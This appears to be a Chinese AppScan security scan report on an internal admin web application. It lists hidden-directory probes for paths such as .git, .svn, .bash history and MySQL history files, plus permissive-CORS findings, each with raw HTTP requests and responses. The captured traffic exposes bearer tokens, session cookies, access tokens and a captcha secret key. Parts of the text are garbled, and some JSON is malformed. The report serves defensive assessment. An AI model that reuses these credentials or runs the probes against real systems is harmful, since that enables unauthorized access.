Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.1 403 Forbidden
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:04:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 555
```

检测到隐藏目录	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	static/ (Page)
风险：	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

差异： 方法 从以下位置进行控制： POST 至： GET
路径 从以下位置进行控制： /admin-api/system/auth/logout 至： /static/

推理： 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应：

```
GET /static/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpgl5v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.1 403 Forbidden
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:04:11 GMT
Content-Type: text/html; charset=utf-8
```

检测到隐藏目录

严重性: 低

CVSS 分数: 3.7

CVSS 向量: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X

URL: https://10.249.2.1:8090/

实体: .sh_history/ (Page)

风险: 可能会检索有关站点文件系统结构的信息, 这可能会帮助攻击者映射此 Web 站点

原因: Web 服务器或应用程序服务器是以不安全的方式配置的

固定值: 对禁止的资源发布“404 - Not Found”响应状态代码, 或者将其完全除去

差异: 方法 从以下位置进行控制: POST 至: GET

路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /.sh_history/

推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在, 尽管不允许访问。

测试请求和响应:

```
GET /.sh_history/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vnlpggl5v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体:	.svn/ (Page)
风险:	可能会检索有关站点文件系统结构的信息, 这可能会帮助攻击者映射此 Web 站点
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	对禁止的资源发布“404 - Not Found”响应状态代码, 或者将其完全除去

- 差异: 方法 从以下位置进行控制: POST 至: GET
路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /.svn/
- 推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在, 尽管不允许访问。
- 测试请求和响应:

```
GET /.svn/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpg15v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体:	.bashrc/ (Page)
风险:	可能会检索有关站点文件系统结构的信息, 这可能会帮助攻击者映射此 Web 站点
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	对禁止的资源发布“404 - Not Found”响应状态代码, 或者将其完全除去

- 差异: 方法 从以下位置进行控制: POST 至: GET
路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /.bashrc/
- 推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在, 尽管不允许访问。

测试请求和响应：

```
GET /.bashrc/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpg15v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	.git/ (Page)
风险：	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

差异： 方法 从以下位置进行控制： POST 至： GET
路径 从以下位置进行控制： /admin-api/system/auth/logout 至： /.git/

推理： 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应：

```
GET /.git/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpg15v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
```

检测到隐藏目录

严重性: 低

CVSS 分数: 3.7

CVSS 向量: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X

URL: https://10.249.2.1:8090/

实体: .mysql_history/ (Page)

风险: 可能会检索有关站点文件系统结构的信息, 这可能会帮助攻击者映射此 Web 站点

原因: Web 服务器或应用程序服务器是以不安全的方式配置的

固定值: 对禁止的资源发布“404 - Not Found”响应状态代码, 或者将其完全除去

差异: 方法 从以下位置进行控制: POST 至: GET

路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /.mysql_history/

推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在, 尽管不允许访问。

测试请求和响应:

```
GET /.mysql_history/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vnlpggl5v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

过度许可的 CORS 访问测试

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/IAR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/captcha/check
实体：	check (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理： AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/system/captcha/check HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 131

{
  "captchaType": "blockPuzzle",
  "pointJson": "yCUwt9EWwvmZRLiuxrh9BF4FMzoGWYQpGpckS13C61w=",
  "token": "944c54c7d4d2497bb32122fb0bd619b1"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:42 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0lxzccli7pwc1gm1q5487ai9hurl5586.node0; Path=/

{
  "repCode": "6110",
  "repMsg": "验证码已失效，请重新获取",
  "repData": null,
  "success": false
}
```


过度许可的 CORS 访问测试

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jxjs-gz/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理：AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/chain/jxjs-gz/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/reduce
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 146

{
  "lb": 1,
  "nd": "",
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbh": "",
  "xm": "",
  "bcjy": "",
  "clzt": "",
  "yjlb": "",
  "roles": "sfj_admin",
  "pzrq": "",
  "pzrq": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0r84vxanqigqds1o471jeh644cj316.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
    ],
    "total": 0
  },
  "msg": ""
}
```

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/auth/login
实体:	login (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /admin-api/system/auth/login HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 190

{
  "username": "WYnhQ41NCcv3rOkYOE3Uw==",
  "password": "***CONFIDENTIAL 1***",
  "captchaVerification": "aAwOVuMwMV8R25tiur7xeCI5RmbaV9Jf64i7HvaXqbnJYbMgYJvbpVG3VLqx8s8vAmGYKFXycY8DSgvRevsSw=="
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:52 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0145ktt0pe85za6v4cc7vk3m05668.node0; Path=/

{
  "code": 0,
  "data": {
    "userId": 993,
    "accessToken": "7011b15bdc8247908e0908a423f4c0b7",
    "refreshToken": "69e862b13d5d49b781287196c5ba2a3c",
    "expiresTime": 1773715132914,
    "roles": [
      "sfj_admin"
    ]
  },
}
```

```
"msg": ""
}
```

过度许可的 CORS 访问测试

严重性: 低

CVSS 分数: 3.7

CVSS 向量: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X

URL: https://10.249.2.1:8090/admin-api/system/captcha/get

实体: get (Page)

风险: 可能会收集有关 Web 应用程序的敏感信息, 如用户名、密码、机器名和/或敏感文件位置
可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

原因: Web 应用程序编程或配置不安全

固定值: 修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异:

推理: AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应:

```
POST /admin-api/system/captcha/get HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 106
```

```
{
  "captchaType": "blockPuzzle",
  "clientId": "slider-50d4df43-a745-4634-8fd3-30b6bed0e612",
  "ts": 1773714183156
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:54 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node04hu7qkm0e331jdlpgg9z3oe15678.node0; Path=
```

```
{
  "repCode": "0000",
  "repMsg": null,
  "repData": {
    "captchaId": null,
    "projectCode": null,
    "captchaType": null,
    "captchaOriginalPath": null,
  }
}
```

```
"captchaFontType": null,
"captchaFontSize": null,
"secretKey": "e427a8X0eT0YYImr",
"originalImageBase64":
"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
jHMQCt-41jGvqgQ1o/7LAK5Mw/sZkh440b3GehrhZtctPn21F8vnt7XsBwESM43Jg+K7QI/9oVzm3VfW0/wzeE2gjjvDcdgXTH9sWFLQhhdVnD81ismCUQgwh1zQNMn1hVhQdDdRDXJLafeL00bQDSj6kdf2wgogukPjCkU5f
DN3sJfBzd
...
...
...
```

过度许可的 CORS 访问测试	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jfkx/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理： AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/chain/jfkx/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99b6f11f8a1731d4e
sec-ch-ua: "Not (A:Brand);v=8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
